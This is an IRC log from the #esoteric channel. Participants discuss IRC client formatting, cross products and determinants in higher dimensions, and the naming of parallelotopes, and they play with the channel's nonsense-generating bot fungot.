PRIVMSG #esoteric :\_/ looks quite headless. < 1269042052 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quite. < 1269042057 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"Since jsMath does take some time to render mathematical markup (for some people it's quite slow), please consider using basic HTML and HTML symbols for simple formulas whenever possible," < 1269042079 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can't they render it on the server and serve an im.. oh, actually, just because MediaWiki does that, doesn't mean it's a good idea < 1269042096 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*can do < 1269042125 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'd imagine though that some people might have JS disabled but still be able to view images < 1269042143 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/hxxYn.jpg < 1269042153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I use right aligned, so it fails to line up here < 1269042172 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What client? < 1269042182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, xchat atm < 1269042202 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right, I don't know of any other that does that < 1269042220 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well my erc setup does too < 1269042240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but was using xchat because of dcc (which erc doesn't support) < 1269042244 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'd set up irssi to do it if I knew how < 1269042257 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If I were younger, I'd mindboggle at SQL Injection < 1269042288 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: LimeChat, at least some scheme of it. < 1269042293 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If someone showed me, without demonstrating, some SQL Injection, I'd say it's sily. Data obviously should not become code like that. It would take incredible stupidity < 1269042322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, irssi can do it up to a fixed column < 1269042324 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Also I guess some IM clients that do IRC too. < 1269042325 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it does. < 1269042334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, where it overflows to the right < 1269042339 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, people here probably have a good idea: which company would you all recommend I buy domain names from, and why? < 1269042339 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But it's common stupidity. < 1269042341 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, nice and long nicks are unusual < 1269042347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, some format code < 1269042350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot details < 1269042375 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I think we discussed the details here not long ago. < 1269042377 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : "Why does the square of a sum of numbers equal the sum of each individual number cubed?" < 1269042383 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269042386 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's a bit crappy though < 1269042395 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i bet it's somehow really obvious if you have four-dimensional intuition :D < 1269042396 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I also remember linking to some existing irssi themes that do it. < 1269042402 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269042408 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I guess it's the best one can hope for with a console UI though < 1269042440 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You could just truncate all nicks to, say, three characters. < 1269042443 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :like that intuition for sums of numbers = n(n+1)/2 using a triangle < 1269042447 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well yes < 1269042454 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I LOVE TRIANGLE NUMBERS!!!! < 1269042458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh? I remember doing this years ago < 1269042459 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Or one < 1269042461 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or none < 1269042464 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when I was trying out irssi < 1269042470 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :T(n) = finite integral n < 1269042470 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't like it < 1269042475 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'd just be all ": foo" when I want to say foo to somebody < 1269042482 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And it'd be obvious from context < 1269042498 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: that thing you quoted can also be shown with finite integrals, of course < 1269042498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderfl < 1269042501 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ful* < 1269042509 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yes about 4D.. I think there would be an intepretation would be done in there < 1269042521 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I proved it using finite calculus :D < 1269042635 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I want to implement symbolic finite integrator < 1269042652 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(and of course I would implement differentatiion as a subroutine) < 1269042656 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 2009-06-17 -- and it was about the very same bot, and the term "mirc-style" was used, and so on. We certainly are a boring lot. < 1269042672 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there's probably a way to carve up an n*n*(n+1)*(n+1) hyper-rectangle so that each part is a cube, and there are two of each i^3 size < 1269042724 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, another thing I really want to do is make a 4D (or more D..) world that you can immerse yourself in :( < 1269042724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, can you tell me *why* cross product isn't defined for anything but three and (according to wikipedia) seven dimensions. < 1269042725 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :start with 1^3 in two opposite corners, perhaps < 1269042729 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like a computer game typ thing < 1269042738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, if the answer is reasonably simple < 1269042742 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because then we could intuit 4D+ < 1269042757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :we have programs to visualize negatively curved 3D space < 1269042759 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but that's not enoough < 1269042848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i cannot say i really understand why it's defined for seven, so... < 1269042866 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I think it's because 7 = 8+1 < 1269042867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I didn't know it before checking on wikipedia < 1269042870 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :except it probably has something to do with quaternions and octonions < 1269042872 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :octonions < 1269042873 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269042884 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the octonions book talks about it < 1269042893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but yeah, why isn't cross products defined for most dimensionality? < 1269042904 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269042907 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't understand quaternions, except that SL uses them to represent rotations
< 1269042907 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://math.ucr.edu/home/baez/octonions/node2.html < 1269042930 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: there's not much to understrand, it's just a 4D number (like complex numbers are just 2D numbers) < 1269042933 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, you want it to be a _natural_ product, invariant under rotations < 1269042938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, was that link to me? < 1269042943 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269042945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269042956 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I meant to link this < 1269042957 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://math.ucr.edu/home/baez/octonions/node1.html < 1269042966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't really know quaternions, except I know what they are in theory and what they are used for < 1269042968 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :When Gibbs invented the modern notation for the dot product and cross product, Tait condemned it as a ``hermaphrodite monstrosity''. A war of polemics ensued, with luminaries such as Heaviside weighing in on the side of vectors. Ultimately the quaternions lost, and acquired a slight taint of disgrace from which they have never fully recovered < 1269042980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh? < 1269043004 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: otherwise it's really ad hoc... < 1269043007 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, and why does this "desire" exclude some dimensionality? < 1269043048 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, but let me tell you can even normal vector product "feels" somewhat ad-hoc :P < 1269043055 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :To quote without understanding the wp pahe: "The nonexistence of such cross products of two vectors in other dimensions is related to the result that the only normed division algebras are the ones with dimension 1, 2, 4, and 8." < 1269043063 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know it has it's uses though < 1269043080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what the heck does that mean < 1269043085 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : hmm, people here probably have a good idea: which company would you all recommend I buy domain names from, and why? < 1269043085 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :gandi.net < 1269043090 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :decent & respectable with no shit < 1269043094 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but not the cheapest < 1269043113 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: note that the natural vector product in 3 dimensions comes from matrix determinants iirc < 1269043124 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't have a clue what matrix determinant is...
< 1269043141 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, oh? I know it < 1269043150 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, never read linear algebra < 1269043164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't know *why* the determinant is defined as it is < 1269043177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just know how it is defined and how to use it < 1269043177 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basically, if M is a 3*3 matrix with 3 rows v_1, v_2, v_3, then det M = (v_1 x v_2) . v_3 < 1269043194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh right. < 1269043195 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It also says even more complicatedly: "The cross product exists in dimensions 3 and 7 since one can always define a multiplication on a space of one higher dimension as above, and this space can be shown to be a normed division algebra. Such algebras only exist in dimensions 1, 2, 4, and 8, and if the product is derived for 0 or 1 dimensions it is a trivial product that is identically zero. It has been proved that it only exists in 3 and 7 dimensions.[2 < 1269043197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot that < 1269043198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, ais disappeared < 1269043208 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I can compute it for 2x2 and 3x3 :P < 1269043212 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I know some of the rules < 1269043216 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but that's all < 1269043216 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in other dimensions that doesn't work unless you use (n-1) vectors to cross < 1269043254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, I can compute it for arbitrarily large matrixes < 1269043267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I hate anything larger than 3x3 < 1269043275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to the huge amount of work in it < 1269043289 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :finding sub-determinants and so on (if that is the English term for it) < 1269043320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh hm < 1269043342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, but with n-1, how could that even work? < 1269043354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, you can only take det() on a square matrix right? < 1269043379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, which means that n-1 for 5 wouldn't really work out as far as I can see < 1269043496 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269043525 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you let the product of v_1, ..., v_(n-1) be the unique vector x such that det (v_1,v_2,...,v_(n-1),y = x.y for all y < 1269043536 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*,y) < 1269043550 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION mentally converts that to math notation
< 1269043562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I find it *extremely* hard to read ASCIIed math notation < 1269043572 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But did you know that the coefficients of the characteristic polynomial of H, where H is the Hessenberg matrix from Arnoldi iteration of matrix A and vector b, turn up (with negative sign) as the last column of pinv(K)*A*K, where K is the Krylov matrix for A, b and pinv() is the "usual" pseudoinverse? < 1269043573 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mind you i'm not sure if my definition has the right handedness < 1269043582 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(for 3 dimensions) < 1269043597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is pinv? < 1269043598 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if not just switch things around a bit < 1269043621 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I just said, the usual (Moore-Penrose?) pseudoinverse. < 1269043622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ascii math notation is easy you're just a whiner :) < 1269043634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, how do you define handedness for more than 3 dimensions? < 1269043638 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(This was a homework bit for yesterday's Matrix Computations thing.) < 1269043665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh right < 1269043695 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: such that the product of e_1, e_2, ..., e_(n-1) is e_n, i presume < 1269043723 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(e_i being the unit vector of the i'th axis) < 1269043769 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which means my handedness above was right for 3, i think < 1269043818 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269043919 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: btw one intuition for determinant (which ignores the sign though) is that if you take the hypercube spanned by e_1,...,e_n (i.e. the cube with all coordinates in [0,1]) and apply a matrix M to it, then the _volume_ of the resulting hyperparallelogram is abs(det M). < 1269043937 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269043973 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, anything involving the word "hypercube" definitely doesn't feel like related to my "intuition" < 1269043992 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or equivalently, the hypercube spanned by vectors v_1,...,v_n has volume abs(det(v_1,...,v_n)). < 1269044003 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well you can use it or 2 and 3 dimensions too < 1269044006 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*for < 1269044013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269044016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what about 1? < 1269044021 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well that is a trivial case I gues < 1269044026 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah :D < 1269044051 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, so for 2x2 mat, that would be ad-bc < 1269044056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but then what are the sides? < 1269044059 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/hypercube/hyperparallelogram/, last one < 1269044061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of a rectangle? < 1269044072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1269044112 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Isn't it pretty: http://www.cis.hut.fi/htkallas/hw7.pdf (Usually my homework answers are horrible handwaving, but this one is pretty explicit. Though that does steal a pretty complicated Theorem 9.7 out of the lecturer.) < 1269044134 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :btw hyperparallelogram is probably not the right term, although it _is_ a parallelogram in 2 dims < 1269044147 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants to take math courses
< 1269044185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what language is that code? < 1269044193 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: one corner of the parallelogram is the origin. two of the others are (a,b) and (c,d), the last one is their sum < 1269044218 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yeah I realised < 1269044229 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :after you said "hyperparallelogram" < 1269044238 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Matlab, and the >> is just the prompt. < 1269044244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah < 1269044275 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Or Octave, in this case, but with a Matlab prompt to make the recipient feel more at home. < 1269044293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269044294 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1269044317 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ah, 3 dims is parallelepiped < 1269044342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well yes < 1269044346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, didn't you know? < 1269044353 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :somehow i hadn't quite made that a household name, though i've certainly seen it :D < 1269044361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I admit however I was fuzzy on the spelling < 1269044368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, but I had a math teacher mention it a lot < 1269044378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :during the last few weeks < 1269044425 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"Coxeter called the generalization of a parallelepiped in higher dimensions a parallelotope." < 1269044431 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I've got the phrase "rhombus, the neglected parallelogram!" stuck in my head, but I can't remember where I read it from. < 1269044437 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_that_ i'm not sure i've heard < 1269044466 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, he also loves making a huge distinction between "geometrical vectors" and "algebraic vectors" < 1269044472 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269044480 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not sure of translations here) < 1269044508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wikipedia seems to call the former http://en.wikipedia.org/wiki/Euclidean_vector < 1269044555 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, no chance it's Triangle and Robert, is it? < 1269044564 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Couldn't you just call it "paral".("le"x($dim-1))."piped"? Then you'd always have the dimension explicitly in the name. < 1269044589 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well you _could_, but that would be evil. < 1269044606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, oh that, one of the worst strips I ever started reading and then gave up after 120 or so strips < 1269044632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, how do you pronounce it? < 1269044646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and what programming language? < 1269044662 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That was the Perl notation. < 1269044665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269044666 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: that x should be ^ in my view < 1269044681 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in math < 1269044717 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also you would have to allow for $dim being a variable, and/or transfinite < 1269044720 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but I was worried you'd think I'd just want the number there, and not actual repetitititition of lelele. < 1269044742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, in math it is $*d*i*m isn't it? ;P < 1269044753 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: not a chance to avoid that once it's generalized < 1269044768 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats AnMaster -----###
< 1269044788 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269044791 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: triangle and robert is great! not that i've read much < 1269044793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but f u < 1269044811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, we have different tastes clearly < 1269044818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, die < 1269044822 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"well drawn" is not in your list :P < 1269044827 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :A Pythonist would (well, could) say "paral"+"le"*(dim-1)+"piped", I believe. < 1269044838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, not so much in mine either < 1269044856 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I loved it < 1269044857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, is thyat string duplication with *? < 1269044867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that* < 1269044892 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it does string multiplication if you give a string and a number. < 1269044912 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :>>> "paral"+"le"*4+"piped" < 1269044913 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :'parallelelelepiped' < 1269044932 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise and I have the same tastes? o.O < 1269044959 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't *think* it was Triangle and Robert, though; I have a feeling it was a human(oid) character in some bit of fiction. < 1269044990 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Right, it was just an old Nukees strip: http://www.nukees.com/comics/19980318a.gif < 1269045009 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But at least that's not well drawn either. < 1269045012 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Algebraic! < 1269045060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh < 1269045115 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :On rhombuses: http://www.penny-arcade.com/comic/2009/1/9/locked-brutal-combat/ < 1269045135 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269045155 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You mean "rhombi", don't you? < 1269045167 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Either works. < 1269045173 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Pl. rhombuses (7-8 -us's); 8 rhombi." I guess they both do, yes. < 1269045189 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But it sounds better as "rhombi", though also a bit vacuum-roboty. < 1269045196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Rhoomby. < 1269045198 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I had just typed "rhombus" already and it's less keypresses to add "es" than to backspace twice and add "i". < 1269045213 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Rhoomba, the rhombus-shaped Roomba. < 1269045214 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :use rhomboi for the original greek (i think) < 1269045255 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Have you read that particular Penny-Arcade comic, by the way? < 1269045255 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: so i says to her, though. < 1269045267 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :fungot: What does that even mean? < 1269045267 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: this is fantastic. maybe after this we can subjugate some indigenous peoples. or, the devil. you are a woman raised as a man. < 1269045282 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Subjugating the devil sounds dangerous business. < 1269045294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269045305 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't make me laugh out loud atm < 1269045310 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :people sleeping near here < 1269045337 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :haha you're better off using your grandma as a math forum than #math < 1269045348 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"hey wanna hear about this interesting thing i came up with?" "go fuck yourself" < 1269045493 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: dammit i'm laughing because of fungot but I'm trying to look all serious < 1269045493 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :alise: my guess? the bullshit. there's no shame in that. well, he hasn't been playing very well. and, i was pushing them, and then i saw something. something big. < 1269045496 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :daaaamn youuuuuuuuu < 1269045498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :^style < 1269045498 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa* speeches ss wp youtube < 1269045501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fungot: A penis? < 1269045501 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :alise: annarchy's mother: anne claire, eat your dinner. you know, potty issues. there. he's got these friends back at the flag named earthquake and demise, right? i bet it's something bad in there. < 1269045553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^style oa < 1269045554 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Not found. < 1269045555 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^style pa < 1269045555 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Selected style: pa (around 1200 transcribed Penny Arcade comics) < 1269045557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269045567 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^style darwin < 1269045567 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy) < 1269045570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fungot, hi there < 1269045573 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: he shows " page 111) that when naturalists confine their attention to agriculture, were fnord when a species has once disappeared it never reappeared.), and no doubt every female flower which i examined appeared more like a dandy than a warrior, but he has seen/ carcasses :) dead seals. wherever these slaty feldspathic rocks abound, greenstone seems common; at/ c. persica et turcica, mr. f. fnord six feet, in proporti < 1269045583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :smilies < 1269045585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yag < 1269045590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah* < 1269045600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric 